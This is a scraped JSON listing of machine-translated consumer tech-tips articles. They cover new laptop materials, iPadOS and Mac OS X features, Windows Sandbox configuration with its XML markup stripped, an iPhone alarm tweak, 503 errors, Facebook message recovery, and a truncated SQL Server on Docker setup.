ultrabook to be $ 10 cheaper than conventional machines made of magnesium alloy. Currently, there are three manufacturers using this material for their products.\nBy definition, the thickest laptop is 2 cm, so it is called ultrabook. This is the goal that ultrabook manufacturers are always aiming for.\nncG1vNJzZmismaXArq3KnmWcp51ku6bDjKCcp52ilsGqu81mrKWsopbBqbXNZqOaqKSkvbR5wpqlZpqVYrqisMRmpp9ll6GutL%2BMn6CbnaI%3D\n","link":"/post/new-generation-ultra-thin-laptops-can-be-made-of-glass-fiber/","section":"post","tags":null,"title":"New generation ultra-thin laptops can be made of glass fiber"},{"body":"Graphene is an extremely strong carbon sheet, thickness by atomic diameter, capable of 'transforming' into different shapes and can conduct electricity. These capabilities make graphene honored by the world's scientific community as the marvelous material of the future, which can open a new era for computer microprocessors. In order to stimulate the development of the graphene industry, the EU alliance has spent almost 1 billion euros.\nAlthough the graphene dream has not yet come true, it also helps scientists find new materials. The most prominent is borophene, a thin layer of boron atom can be classified into many different crystal structures, can be applied to many industries, used for many different purposes.\n  A block of borophene.\nElectrochemists say that using borophene in the production of anode can create a new generation lithium-ion battery. Meanwhile, experimental physicists use borophene to search for many types of atoms and molecules.\nSince the 1990s, physicists have predicted the existence of borophene through a program that simulates how boron atoms merge into a thin layer of boron.\nBy 2015, by depriving hot gas from concentrated boron molecules to a cold surface made of pure steel, the scientists synthesized borophene.\nBoron atoms are squeezed according to the arrangement of iron atoms, with each of the six atoms joined together into a hexagon. However, a large proportion of boron atoms have a different, more specific structure, with only 4 or 5 atoms joining together to form holes in the hexagonal structure. That same hole makes the borophene special.\n  Borophene is an artificial product, so scientists have conducted many different tests to give it more unique properties. From those tests, scientists have discovered that borophene is even more solid and flexible than graphene. In addition, borophene also has superconducting properties, which can transmit electricity and heat very well.\nIt is the gaps in the borophene structure that create these properties. Changing gaps is to change properties.\nIn addition to these properties, borophene is very light and reacts well to many substances. Therefore, scientists consider borophene to be a candidate for ion storage in batteries.\nBorophene can also become an effective hydrogen storage tool because hydrogen atoms can easily adhere to the borophene structure. Hypothetical studies show that borophene is superior to any other material in terms of its ability to contain hydrogen, with up to 15% of its own mass.\n  Another possibility of borophene is catalysis, which separates hydrogen atoms into hydrogen ions, separating water into ions of hydrogen and oxygen. This makes borophene can be used to generate energy from water with greater efficiency than ever before.\nIt is the reaction of borophene that makes it easy to oxidize, which makes it difficult to experiment. Scientists need to study to overcome this weakness of it. However, they still cannot produce bulk borophene for testing and application. There is a lot of work to do before the makers of borophene become promising materials.\nncG1vNJzZmismaXArq3KnmWcp51ku7DAjKCpmqiYmrumecGoqaiomJq7pnnIrGStoJViuqKzyJxkppmkmr%2Bqrctmpp9lpJ2ybrLUrayrnV2ptaZ5zZ6uZpyRp7mqusZmpp9lo5i2prrCng%3D%3D\n","link":"/post/not-graphene-borophene-is-the-magic-material-of-the-future-the-new-darling-of-science/","section":"post","tags":null,"title":"Not graphene, borophene is the magic material of the future, the new darling of science"},{"body":"Export Google Maps data file First, go to the Google Maps website on your computer and sign in with your Google account as usual. Next, you click the menu icon 3 horizontal lines in the top left corner of the screen (next to the search box).\n  A menu will appear, scroll down near the bottom and click on 'Your Data in Maps'.\n  On the next screen, you continue to scroll down and select 'Download Your Maps Data'.\n  Select download data Basically, you can export data sets including Location History, Maps (Your Places), My Maps, or all three. Check one or the corresponding squares next to the dataset you want to download.\n  For 'Multiple Formats' items (which also provide various file formats), you can click an item to view or change the file format for that particular item.\n  When you are ready, click 'Next Step'.\nSet properties before downloading You can send data files to email or your favorite cloud storage service, including Google Drive, Dropbox, OneDrive, or Box. Select an option in the \"Delivery Method\" drop-down menu. (In this example, we choose to send the Google Maps data file to email.)\n  Next, you can choose to export the data once or set it up to be exported every two months.\n  Finally, choose the file type and size. You can choose a ZIP or TGZ file. Then choose a maximum file size from 1GB to 50GB. If the data is larger than the size you choose, it will be split into multiple files.\n  Now click on 'Create Export'.\nSee file export confirmation After clicking 'Create Export', the system will display a confirmation message that the file export is being processed. This confirms the number of items you have selected to export and also has an option to \"Cancel Export\" if you change your mind.\nAlternatively, you can click 'Create Another Export' if you want to export any remaining items.\n  You'll also receive a notification to your Gmail account, confirming that you've requested to export a Maps data file.\n  Download Google Maps data Depending on how much Google Maps data you have, the export can take anywhere from a few minutes to even days. You will receive an email notification when the file is ready to download.\nIn this tutorial, we chose to receive files by email. So just click 'Manage Exports' or 'Download Your Files' in the email received.\n  The Manage Exports option will take you to a web page that displays the data you have selected. There will still be a Download button that allows you to download the file to your device.\n  After the file is successfully downloaded, go to the location where you chose to save the file to check. You will see folders corresponding to each data type you have selected.\n  If you choose to send the file to a storage service, the email notification will contain a link for you to retrieve the file. Click the link, sign in if necessary, and then access your files.\n  ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddmsWxu9GtZJqmlGKxsMPNpaaanF2cvLCzy55kppmgqHqlrdOa\n","link":"/post/steps-to-export-and-download-google-maps-data/","section":"post","tags":null,"title":"Steps to export and download Google Maps data"},{"body":"Separating the operating system freed the iPad from a number of restrictions when sharing the operating system with the iPhone and paving the way for two. Product lines go further in the future.\niPadOS 14 was officially introduced, when it came out and what new features, let's find out.\nWhich iPads can upgrade to iPadOS 14? Many iPads will be able to upgrade to iPadOS 14. Apple has confirmed that this version of the operating system is compatible with iPad Air 2 and above, iPad Pro models, iPad 5th generation and above and iPad mini 4 and above. up.\nBelow is a full list of iPad devices that are compatible with iPadOS 14:\niPad Air 2 (2014) iPad Air (2019) iPad mini 4 (2015) iPad mini (2019) iPad (2017, 2018, 2019) iPad Pro 9.7in (2016) iPad Pro 10.5in (2017) iPad Pro 11in (2018, 2020) iPad Pro 12.9in (2015, 2017, 2018, 2020) New features on iPadOS 14 The key new features on iPadOS 14 are summarized below.\nApp Library Of course, iPadOS 14 will have a lot of the same features as iOS 14, because these two operating systems are basically the same.\nOne of the big features in 2020 is a library of applications, a place to store applications, not to have them redundant outside the main screen.\nApp Library will be a separate place for the applications you have, they will be divided into categories to help you easily search when needed.\nWidgets iPadOS 14 has the same widget as on iOS. They can be arranged on the home screen like a large application icon to display information.\nYou can arrange Widgets, placed anywhere on the main screen, support applications including Weather, Music and Activity.\nIn short, you can know the basic information of the application without having to open the application.\nSidebar An update that looks simple but very important on iPadOS 14 is the Sidebar. Sidebar has been added a lot of applications, allowing you to do many things at the same time.\nFor example, in the Photos application, you can see all the main functions of the application, using drag and drop to add photos to another album.\nSidebar in Photos app This sidebar also makes working on apps like Music, Note, Files and Calendar a lot easier.\nSiri Apple has upgraded the Siri virtual assistant with many new functions and greater understanding. iPadOS 14 even interacts with Siri smoother than you imagine.\nSiri on iPadOS 14 Instead of taking up the whole screen like before, Siri only appears at the bottom of the window when you're using another application.\nUniversal Search Universal Search is like Siri, the search bar appears only with a more modest area on the new iPadOS interface.\nCall Notification of incoming calls is also another factor made more neat. It no longer appears on the screen as before, instead a small message appears on the top of the device.\nNotify incoming calls This feature applies to any incoming call via iPhone, FaceTime or an external application such as Skype.\nMessages Apple has upgraded the Message app to make it possible for users to keep up with the content of the conversation.\nThe latest version of the operating system allows users to pin important conversations to the top and adjust more like group photos or using emojis. Users who are most active in a group will have larger icons than the rest.\nThe Memoji set is updated just like on iOS 14 and macOS Big Sur.\nImprove Apple Pencil If you already have, or intend to buy Apple Pencil, you can do a lot of things with that iPadOS 14.\nImprovements come from software like Scribble that is more usable than writing words wherever you can type, after which it will automatically convert into text. You can also draw any shape, then stop a little at the end of the brush, iPad will help you convert to the perfect shape.\nApple Pencil can write text anywhere Scribble also allows you to write in English or Chinese, and the software can recognize phone numbers and addresses, so feel free to write them down anywhere.\nSoftware for AirPods Those who own AirPods will feel excited that this headset device can automatically switch device connection when needed. For example, when you turn off the iPhone and switch to use the iPad.\nSpatial Audio will make AirPods Pro a lot better. It analyzes the surrounding sounds and even your head movements to keep the sound always in the middle of the sound field.\nMaps Of course, we can't help but mention the new features on the Maps app. Maps features on iPad are similar to iOS 14 and macOS 11. Maps will offer more biking and tramway options to promote environmental protection. Suggestions from users are also updated on the application, you can save and share with friends.\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3qvsdZmnZ6ZpKq%2Fpr%2BMqKVmoaCWsbC%2FjGpr\n","link":"/post/summary-of-new-features-on-ipados-14/","section":"post","tags":null,"title":"Summary of new features on iPadOS 14"},{"body":"TipsMake.com - Apple's new operating system - Mac OS X Lion has officially appeared, bringing a new wind to Apple 's favorite community and using technology, as well as a host of new features never before. known. Although users can find out by themselves at its official website , it seems that it is not enough. In the following article, we will introduce you 10 pretty interesting features of Mac OS X Lion. 1. Add new high quality voices in Text - to - Speech feature: Over the years, Apple has been actively working to maximize the capabilities and quality of text - to - speech, which is already built into the operating system. For quite a long time, the user community felt familiar with Alex's voice - the only artificial voice that gave a natural feel to this technology environment. And with this version of Lion coming out, it can be said that there are not too many significant changes, except that users can manually assign more different voice standards from the VoiceOver utility (Hard Drive\u0026gt; Applications\u0026gt; Utilities ). All you need to do is open the Speech\u0026gt; Customize dashboard, and select the corresponding Voice section you want to use.\n 2. Search in extremely simple dictionary: Besides, this Lion version also offers many new functions that support multi-touch, and one of them is the ability to search any word with just 2 touches. All you need to do is move the cursor over the word to search, then press it twice with 3 fingers. This process will highlight the word in yellow, and display the definition table and related words through a small information table above. Of course, to do this, we must enable the first support feature in the System Preferences section \u0026gt; Trackpad\u0026gt; Point \u0026amp; Click.\n  3. Create search keywords when using the Search function: We can easily recognize this functionality through Lion applications, but you will find it useful to search for files using the Finder . Basically, in the search process, we type keywords, such as Text for example, the system will display more options in the form of drop down menu, and of course users will quickly find results. more suitable than the usual way. Each time, the system will create a related component called Search Token , after many search processes take place, the user will have a relative number of corresponding Tokens , and they will save Save a lot of time, while increasing productivity.\n  4. Include multiple components in 1 folder: The Finder feature in Lion has been added to the ability to search multiple files in one time, manage and monitor with one operation. Specifically, you select the files to manipulate, right-click or Control + Click then select New folder from X items . All of these files will quickly be transferred to a completely new folder, and if you want to do it with the keyboard, press Command + Control + N.\n  5. Add any event to iCal by typing the keyword: Or called Quick Add , iCal application also supports users by typing words, readable characters to add new components to Calendar . To do this, you just need to press the + button in iCal and select the corresponding Calendar , the program will display a window as a pop-up and allow the user to fill in any information, for example you just need type Movie this Friday at 7pm - iCal will give all relevant information.\n  6. Screen sharing of unused accounts: Screen sharing - Screen sharing is extremely useful when you want to monitor and manage activities on the computer being connected remotely, but what happens if someone signs in another account on the computer you are working on? Screen sharing can now support you to share the screen of any account, even if the account is active in the background.\n In addition, some changes in Screen sharing feature also allow the manager to share the screen, but do not want to create another account, you can add Apple ID parameters in the form of 1 account. User accounts have been confirmed in the Screen Sharing section of System Preferences\u0026gt; Sharing.\n7. Easily manage the settings of any application: Now, the Lion operating system also incorporates a number of personal settings management features, allowing users to specify which programs are allowed to operate, collect geographic data as well as some other information.\n To access and use this feature, open the System Preferences\u0026gt; Security \u0026amp; Privacy\u0026gt; Privacy section , where we can change anything as you like.\n8. Automatically restart when the computer is in Freeze state: Sometimes, the user's computer cannot return to normal after switching to freeze status. Many people will probably stare at the screen to see what is going on, probably then turn off the computer by 'hot' method because they think they are wasting time. But now, you won't have to worry about this anymore, because Lion has added the Restart automatically if the computer freezes option in the System Preferences section of Energy Saver.\n 9. Automatically 'move' from Windows to Mac OS X: In case you want to switch from a Windows-based computer to a Mac, Lion is the best choice, your entire data will be transferred to a certain folder in OS X. In essence, this process will work based on the network, but first, you'll need the Windows Migration Assistant for Lion tool, then open the program on a Mac ( Hard Drive\u0026gt; Utilities\u0026gt; Migration Assistant ), here you can choose any type of information or data to integrate. Depending on how much data is available, this process will be quick or slow.\n  10. Easily assign more signature to PDF documents: Preview - Preview text in Lion has been improved a lot, but one of the most impressive points is 'digitizing' the signature part of that document. You will be able to think this is done using your fingers and trackpad, but it's not so. Instead, please do so by signing a real paper, then keeping it in front of iSight / Facetime camera in preview mode. The system will conduct a review, and allow users to assign or edit directly in the text.\n To do this, open the PDF file that needs to add a signature, select the Annotate section from the toolbar, select the drop-down Signature menu , the program will display 2 more options. First, the program allows users to take screenshots with Signature part with the camera of the system, while the second part is managing Signature saved from before.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51kfnF50p6aq52kYrOmrdOuqZ6rXaSzbrnAnGSoq12teq21zqc%3D\n","link":"/post/10-secret-features-of-mac-os-x-lion/","section":"post","tags":null,"title":"10 secret features of Mac OS X Lion"},{"body":"Apple is currently working on an iOS update with codename \"Peace\" and updating macOS named \"Liberty\" is expected to be released as iOS 12 and macOS 10.14.\nAccording to Bloomberg, FaceTime - Apple's video and audio app can receive two major upgrades. The more interesting addition is the group chat, a feature Apple introduced many years ago with the video calling application on Mac, iChat, but was removed and never restored when introduced. FaceTime for iOS devices. This feature was included in iOS 12 depending on Apple's progress when the company's Worldwide Development Conference (WWDC) takes place in June.\n  Apple also plans to integrate iOS 11 animated Animojis into FaceTime, allowing participants to use TrueDepth cameras, appearing as different lively animals during the call.\nAlthough TrueDepth and Animojis are currently exclusive features, only available on iPhone X, but the report said that the new iPad will include the hardware needed to support this feature. This feature may appear in iOS 12.\nThe report shows that Apple also redesigned Stocks application for iOS 12, improved Do Not Disturb feature with more detailed settings, integrated Siri virtual assistant deeper into iPhone's search view, support game Realistic play enhances many players and improves the photo import interface for iPad. Some other features that iFan may have to wait for iOS 13 to receive include: Tab support for iPad applications, screen sharing support for viewing two applications at the same time, features of Apple Pencil New and off email notifications for specific topics.\nIn addition, the report states that macOS 10.14 will continue to have the Marzipan feature previously reported, designed to allow Macs to run iPad and iPhone applications. Apple also expects to bring Home apps from iOS to macOS, allowing Mac computers to control HomeKit accessories and possibly HomeKit's hub.\niOS 12 and macOS 10.14 are expected to be released at Apple's WWDC in June.\nSee more:\nInstructions for using Facetime on iPhone / iPad The best video calling applications on Windows, Mac, iPhone, Android How to record FaceTime calls on Mac, iPhone and iPad ncG1vNJzZmismaXArq3KnmWcp51krrG8y55koqakmrulscNmnZqblam2rrGMoqSpqp%2Brsq6xza2qZp6fp3qqu9Jmqq6ooKS%2FtXnHqKSeo5mpeqe70WakmpufqA%3D%3D\n","link":"/post/apple-intended-facetime-improvements-for-ios-support-homekit-for-macos/","section":"post","tags":null,"title":"Apple intended FaceTime improvements for iOS, support HomeKit for macOS"},{"body":"  Open the Photos app on your iPhone. The app icon has a colored pinwheel in a white frame. You can find it on the Home screen.\n  Open the photo you want to edit. You can open photos in Albums, Moments, Memories, or iCloud Photo Sharing.\n  Click the Edit button. This button with the three sliders icon is on the toolbar at the bottom of the screen.\n  Click the More button. This button is at the bottom right of the screen and has a three-dot icon in a circle.\n  Click Markup . The toolbox icon is in the pop-up menu. The image will be opened in the Markup editor.\nIf you don't see the Markup option, you can tap More and slide the Markup switch to the On position. This switch will turn green.\nAdd text to photos   Click the Text button. The T icon in this frame is on the toolbar at the bottom of the screen. This button will add a text box to the image with some example text inside.\n  Double-tap the example text. This allows you to edit and replace the example text in the text box.\n  Enter text using the keyboard.\n  Click the Done button on the keyboard. This button is different from the Done button in the upper right corner of the screen.\n  Choose a color for the text. You can tap the color in the palette at the bottom of the screen to change the color of the text.\n  Click the AA icon next to the palette. This button allows you to edit the font, size, and alignment of the text.\n  Select font. You can choose between Helvetica, Georgia and Noteworthy.\n  Change the text size. Slide the text size slider right to zoom in and left to shrink the text.\n  Choose how to align the text. Tap the alignment buttons at the bottom of the pop-up menu. You can align text left, center, even, or right.\n  Press the AA button again. The dialog box will close.\n  Click and drag the text. You can move text around the image.\n  Tap Done in the upper-right corner of the screen.\n  Tap Done in the lower right corner of the screen again. The text will be saved to the image.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXq1sdetZK2nXaW1sMDOrGSopl2evam7zZ4%3D\n","link":"/post/how-to-add-text-to-photos-on-iphone/","section":"post","tags":null,"title":"How to Add Text to Photos on iPhone"},{"body":"The new Sandbox feature of Windows 10 lets you safely test programs and files downloaded from the Internet by running them in a safe environment. This feature is very easy to use but its settings are hidden in the text configuration file. This article will show you how to configure Windows Sandbox on Windows 10.\nRun untrusted .exe files: Use Windows Sandbox 7 best Sandbox apps for Windows 10 What is a sandbox and how does it sandbox a program? This feature is part of the May 2019 Update of Windows 10 update. Once the update is installed, you can use it on Professional, Enterprise or Education versions of Windows 10. But if it is available on the system You can easily activate the Sandbox feature and then launch it from the Start menu.\nThe sandbox will launch, copy the current Windows operating system, access the private folder, bring you a clean Windows desktop with Internet access. Before Microsoft adds this configuration file, you cannot customize the Sandbox. If you do not want to access the Internet, you must disable it immediately after launching. If you need to access the file on the host system, you must copy and paste them into the Sandbox. And if you want to install a specific third-party program, you must install them after launching the Sandbox.\nBecause Windows Sandbox deletes its entire instance when closed to make the system more secure, you must perform a custom process each time it is launched. If a problem occurs, close the Sandbox and everything will be deleted.\nHow to configure Windows Sandbox   This tutorial assumes you have set up Sandbox for normal use. If not, you need to enable it first with the Windows Features dialog box.\nTo get started, you need to use the Notepad application or other text editing application. You need to create an XML file to configure. Once you've created the file you need to save it with the .wsb extension, then double-click the file that will launch the Sandbox with a specific configuration.\nAs explained by Microsoft, you should choose some options when configuring Sandbox such as enabling or disabling vGPU (virtual GPU) turning on or off the network, defining shared host directory, setting read / write permissions on the message item or run the script at launch.\nUsing this configuration file will allow you to disable the virtual GPU (it turns on by default), turn off the network (turned on by default), specify the shared host directory (the sandbox application does not have access to This directory is by default), set read / write permissions on that directory and run the script at launch.\nFirst, open Notepad or your favorite text editing application and add the following line to the new text file:\n All the options you add must be between these two parameters. You can add one or more options or if nothing else, it will use the default configuration.\n  How to disable virtual GPU or network According to Microsoft, turning on a network or virtual GPU will increase the likelihood of malware coming out of the sandbox environment, so if you need to test something suspicious of malware, you should disable it.\nTo disable the virtual GPU (enabled by default) add the following line of text to the configuration file.\n Disable    To disable network network access (turned on by default) add the following line of text:\n Disable    How to map directories To map the directory you need to specify the folder to share and then specify which directory to read only.\nPerform directory mapping using text lines similar to the following:\nC: UsersPublicDownloads true  HostFolder is where you list the specific folder you want to share. In the above example, the Public Download folder in the Windows system is shared. ReadOnly sets the ability of the Sandbox to write a directory with true value only to read or false to write.\nHowever, you need to be aware that your system may be at risk when linking folders between Windows Sandbox with storage and the granting of write permissions increases this danger. If testing something that is suspected to be malicious, you should not use this option.\nHow to run the script at launch Finally, you can run the custom script or the basic command to force the Sandbox to open the mapped folder at launch. Replace the directory path and grant the correct permissions for your directory.\nC: UsersPublicDownloads true  explorer.exe C: usersWDAGUtilityAccountDesktopDownloads  WDAGUtilityAccount is the default user of Windows Sandbox, so you need to view it as part of the command when opening a folder or file.\nHowever, in the recently released build of Windows 10's May 2019 update, the LogonCommand option does not work, it does not take any action. Hopefully Microsoft will soon fix this error\n  How to launch Sandbox in Settings After editing the configuration file, save it in .wsb format. For example, if your text editing application saves the file as Sandbox.txt, fix it to Sandbox.wsb. To launch Windows Sandbox in the installation, double-click the .wsb file. You can leave this file on the desktop or create a shortcut in the Start menu.\nCreate and customize application shortcuts on win 10   I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7Oqs9SrnGavmaOxsMPSZqqappSXvLl5zqdksKGemby4v4xqZw%3D%3D\n","link":"/post/how-to-configure-windows-sandbox-on-windows-10/","section":"post","tags":null,"title":"How to configure Windows Sandbox on Windows 10"},{"body":"Even the iPhone has an alarm function or you can install an alarm app to have more support features. However, tweaking Pylarm will create a much more interesting alarm mode, that is, you must solve the problem if you want to turn off the alarm. There are many people who have difficulty waking up in the morning because they can turn off the alarm when the time is up. But with Pylarm tweaking, you must correct the new problem to turn off the alarm. And of course if you do not solve successfully, the alarm goes on. The following article will guide you how to install Pylarm tweak on iPhone / iPad.\nThe best alarm app on Android Sleep better with the Sleep Mode shortcut on iPhone, iPad Enable Bedtime sleep monitoring on iOS 10 6 best sleep monitoring and application apps on iOS Instructions for creating iPhone alarms with Pylarm tweak Step 1:\nUsers access Cydia and search for Pylarm tweaks at Source Packix, or visit the link below to install directly. Refine the settings on iOS 11 and above and jailbreak.\nhttps://repo.packix.com/package/com.r0wdrunner.pylarm Step 2:\nAfter installation is complete, the user opens Settings and then clicks Pylarm to change settings. You can enable or disable operation tweaks if needed. Allow Snooze is the option whether to allow the alarm to continue or not.\nBelow are 2 level adjustment bars for random problems that Pylarm tweaks set. Random problems with many different types of calculations. Adjusting difficulty level for problem at Difficulity bar . Bar Numbers range to adjust the range of numbers you want to use in Pylarm's problems.\n  After the change is complete, click the tick icon in the top right corner to respring the device and apply new changes. When the alarm time is set on the iPhone, a problem window pops up with random calculations for us to answer. If the answer is correct, the alarm sound will turn off and the wrong answer will not stop the alarm.\n  An alarm type is also quite interesting and can be effective for those who are difficult to wake up on time according to the alarm. Although there are many alarm apps for the iPhone, but you can easily turn off the app, Pylarm tweaks will interfere with the system and we can't turn off the alarm as usual.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyipa2doprAtbXNoGSmmaSdwLXFy55kmqSRp7q0ec6nZKKomKS7pg%3D%3D\n","link":"/post/how-to-create-interesting-math-style-alarms-on-iphone/","section":"post","tags":null,"title":"How to create interesting math-style alarms on iPhone"},{"body":"503 Service Unavailable error is the HTTP status code (HTTP status code), which means that the site's server is temporarily down. This error occurs because the server is too 'busy' or the site is under maintenance.\n503 error message can be customized according to the website or server software that created it, so users will see different 503 error messages. Here are some common 'service unvailable' error messages:\n503 Service Unavailable 03 Unavailable Service Temporarily Http / 1.1 Service Unavailable HTTP Server Error 503 Service Unavailable - DNS Failure 503 Error HTTP 503 HTTP Error 503 Error 503 Service Unavailable   503 Service Unavailable errors can occur with any web browser in any operating system including Windows 10 returning to Windows XP, macOS, Linux, etc. . even smartphones or non-transfer computers other system. Error 503 Service Unavailable displayed inside the browser window.\nNote: The website using Microsoft IIS may provide more specific information about the cause of 503 Service Unavailable error by adding a number after 503 code, for example HTTP Error 503.2 - Service Unavailable, this number means is the limit for processing concurrently excessively.\nHow to fix 503 Service Unavailable 503 Service Unavailable error is server-side error, which means that the problem often occurs with the site's server. Your computer may have problems that cause 503 errors. Here are some ways to fix 503 Service Unavailable errors.\n1. Retry the URL from the address bar again by clicking the reload / refresh button or press F5 or Ctrl + R.\n10 ways to shorten the URL in the browser   Although the 503 Service Unavailable error occurs when there is a problem on another computer, the problem is temporary so reloading the page can fix this error.\nNote : If the 503 Service Unavailable error message appears while making an online purchase payment, you should not pay multiple times because you may be charged multiple times. Most payment systems and some credit card companies have a protection system in such cases, contact them for detailed information and avoid unfair deductions.\n2. Restart the router and modem, then restart the computer or device. Take measures to fix this 503 error if you see 'Service Unavailable - DNS Failure' error message.\n  Although 503 error is often caused by the error of the website being accessed, there may be a problem with configuring the DNS server on the router or computer and this error can be easily corrected with a simple device restart operation. .\nHow to change DNS to be able to surf faster, don't worry about being blocked Tip: If the device is reset, the 503 DNS Failure error cannot be corrected, possibly due to a temporary problem with DNS servers. In this case, select a new DNS server and change them on the computer or router.\n3. Another option is to contact the website directly for help, inform the site's admin to check the problem. Most websites have social network accounts and some sites even provide phone numbers and email addresses.\n  \nTip: If the site has 503 error is one of the popular pages and you can perform a search on Twitter with #websitedown syntax, replace the website with the site name, like #facebookdown or #youtubedown, you will see a lot discuss that site on Twitter.\n4. Return to using that site at another time. Because 503 Service Unavailable error is a common error on websites when a large amount of user traffic (that is, you) is \"overwhelming\" the servers, just wait over that time you will access normal website. In fact, this is the most common way to fix 503 errors. When more and more visitors leave the site, the server is 'open', you will be able to access the site.\nHow to fix 503 error on your website There are many reasons why services are not available so fixing this 503 error is not easy. Try restarting running processes to see if the problem is fixed. In addition, consider things like connection limits, bandwidth regulation, overall system resources, fail-safe safety techniques that are activated, etc. However, it often happens. 503 Service Unavailable error means getting more traffic. Is that good news?\nIn case of another 503 error In Windows applications that access directly to the Internet, the 503 error is usually accompanied by an HTTP_STATUS_SERVICE_UNAVAIL error and with the Service service is temporarily overloaded (Service is temporarily overloaded ).\nWindows Update may also report an HTTP 503 error but it will display as an error code 0x80244022 or with the message WU_E_PT_HTTP_STATUS_SERVICE_UNAVAIL.\nHow to turn off Windows Update on Windows 10   Some of the less common error messages include 503 Over Quota and Connection Failed (503) , but troubleshooting is the same. If the error message 503 website occurs while running Microsoft IIS web server software, you may receive a more specific error message as one of the following errors:\n503.0\nApplication pool unavailable.\n503.2\nOver limit concurrent request.\n503.3\nFull ASP.NET queue\nThe errors are the same as the 503 Service Unavailable error 503 Service Unavailable error is server-side error and therefore related to other server errors such as 500 Internal Server Error, 502 Bad Gateway, 504 Gateway Timeout and some other errors. There are some HTTP client status codes like 404 Not Found error and some other codes.\nSee also: Common computer errors and remedies (Part 1)\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXp2fJJmqp6qpp6wpnnUp5ivmZmhrqO4xGacq6qfpw%3D%3D\n","link":"/post/how-to-fix-503-service-unavailable-error/","section":"post","tags":null,"title":"How to fix 503 Service Unavailable error"},{"body":"Many people still have the habit of deleting messages on Facebook. But if you accidentally delete some important message, or at any time want to retrieve deleted messages, how to do it? Facebook has the function to automatically save your messages as well as your chat history to storage. If you don't know how to use this feature, Network Administrator will guide you to retrieve all deleted messages in 2 different ways. Method 1 applies when you have stored your Facebook message before deleting, method 2 applies in case you have not stored it yet.\nMethod 1: Restore deleted messages on Facebook This way you will get back a deleted stone message on Facebook.Note , the messages you delete by pressing \"X\" next to the message can be restored. The messages that you have completely deleted cannot be retrieved. So if you delete the message, instead of deleting the whole, delete it by checking the \"X\" .\nStep 1: Log in to Facebook, at the main Facebook account interface, click on the message icon above.\n  Step 2: We will click on View all below.\n  Step 3: The message dialog interface appears. Here, we will click on the Other item in the left menu of the interface. Soon after 3 options appear, click Archived .\n  Steps to recover Facebook messages and messages\nStep 4: To retrieve it, we hover over the message, and click the Unarchive arrow . The message will return to the dialog box.\n  Since when you press the X to delete, those messages will be moved to another section, not completely erased, so they can be retrieved. Therefore, if you do not want to see that message temporarily, you should press the X to hide it, in case you need it again.\nMethod 2: Download the deleted message file on Facebook In this way, we will retrieve many deleted information on the Facebok including posts, photos, messages, .\nStep 1: Log in to your personal Facebook account. Click on the arrow above and select Settings .\n  Step 2: In the General section, scroll down and click the Download data copy section .\n  Step 3: Soon, you will be taken to the Download your information interface. Click Select Start Backup .\n  Step 4: For security reasons, Facebook will ask you to enter a password. Then, click Submit .\n  Continue clicking Start backup and wait Facebook gathers photos, messages, posts and other messages.\n  Step 5: Facebook will send you a notification. Click OK . Finally, log in to your Facebook registration email and follow the instructions to download a backup of your Facebook data to your computer. The downloaded file will be in .zip .\n  As such, we showed you how to retrieve the message and how to delete the entire conversation on Facebok. While performing a message deletion, you should use an X to clear the precaution in case you want to retrieve certain messages.\nVideo tutorial on how to recover Facebook messages Refer to the following articles:\nInstructions for setting up Live Stream feature Facebook videos on mobile and tablet This is how Live Stream Facebook Video on PC, Fanpage How to permanently delete Facebook account I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLy3sdFmm56klamypXnMnqqsmZeawG67zWadmpuVl7ywtw%3D%3D\n","link":"/post/how-to-recover-deleted-messages-on-facebook/","section":"post","tags":null,"title":"How to recover deleted messages on Facebook"},{"body":"This wikiHow teaches you how to refresh a page in your browser. Refreshing a page will cause it to update with the latest version of that page's information; you can also fix some site errors, such as the ones encountered when a page...\nMethod 1of 4:\nRefreshing on Desktop  Open the page you want to refresh. Go to the web address of the page page (or click the tab for the page) that you want to refresh.\n  Click the \"Refresh\"   icon. It's a circular arrow-shaped icon at the top of the browser window, typically found in the upper-left side.   Use a keyboard shortcut. In virtually all browsers, pressing the F5 key will cause the current page to refresh (on some Windows computers, you may have to hold down Fn while pressing F5). If you can't find the F5 key, there are other operating system-specific shortcuts you can use: Windows — Hold down Ctrl and press R. Mac — Hold down ⌘ Command and press R.   Force-refresh your web page. Force-refreshing a page will clear that page's cache, allowing you to see the most recent version of the page as opposed to any information your browser saved in the past:[1] Windows — Press Ctrl+F5. If that doesn't work, hold down Ctrl and click the \"Refresh\" icon. Mac — Press ⌘ Command+⇧ Shift+R. In Safari, you can also hold ⇧ Shift and click the \"Refresh\" icon.   Troubleshoot a page which won't refresh. If clicking the \"Refresh\" icon, using the \"Refresh\" shortcut, and attempting to force-refresh the page didn't do anything, your browser may be corrupted or encountering an error. You can fix most browser problems by doing one of the following (if one step doesn't work, try the next one): Close and re-open the page. Exit your browser, then re-open it and go back to the page. Update your browser. Clear your browser's cache. Clear your computer's DNS cache.   Kareem Winters Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVm7%2Bmv8dmmGaokZyy\n","link":"/post/how-to-refresh-a-page/","section":"post","tags":null,"title":"How to Refresh a Page"},{"body":"Microsoft SQL Server is a powerful and widely used database management system (DBMS). Traditionally, SQL Server databases were set up on dedicated servers or virtual machines, but Docker has changed all that.\nLet's see how you can setup a SQL Server instance on a Linux container with Docker.\nAdvantages of running SQL Server in Docker If you are a software engineer considering whether to run SQL Server in Docker, here are some of the advantages Docker offers:\nCost-effective and compact: You don't need to set up a dedicated server or virtual machine Docker is relatively easy to set up and configure You can easily automate deployment and setup with scripts Docker allows you to easily create a unified environment and you can use the same docker image on any operating system including macOS, Windows or Linux Docker is a powerful tool, and it can dramatically change the way you deploy or provision your software system.\nHow to Set Up a Microsoft SQL Server Database in Docker on Linux Step 1: Download the SQL Server Docker image You will need download Docker version 1.8 or later here to be able to set up SQL Server on Docker. If you're using Linux Ubuntu, here's how to install Docker. Check out the official website on how to install Docker on other Linux distributions.\nPull the SQL Server Docker image from the official Microsoft Docker repository using the command below. Docker will first search for an image on your PC, and if it can't find a local image, it will search for an image on remote repositories over the Internet.\nsudo docker pull 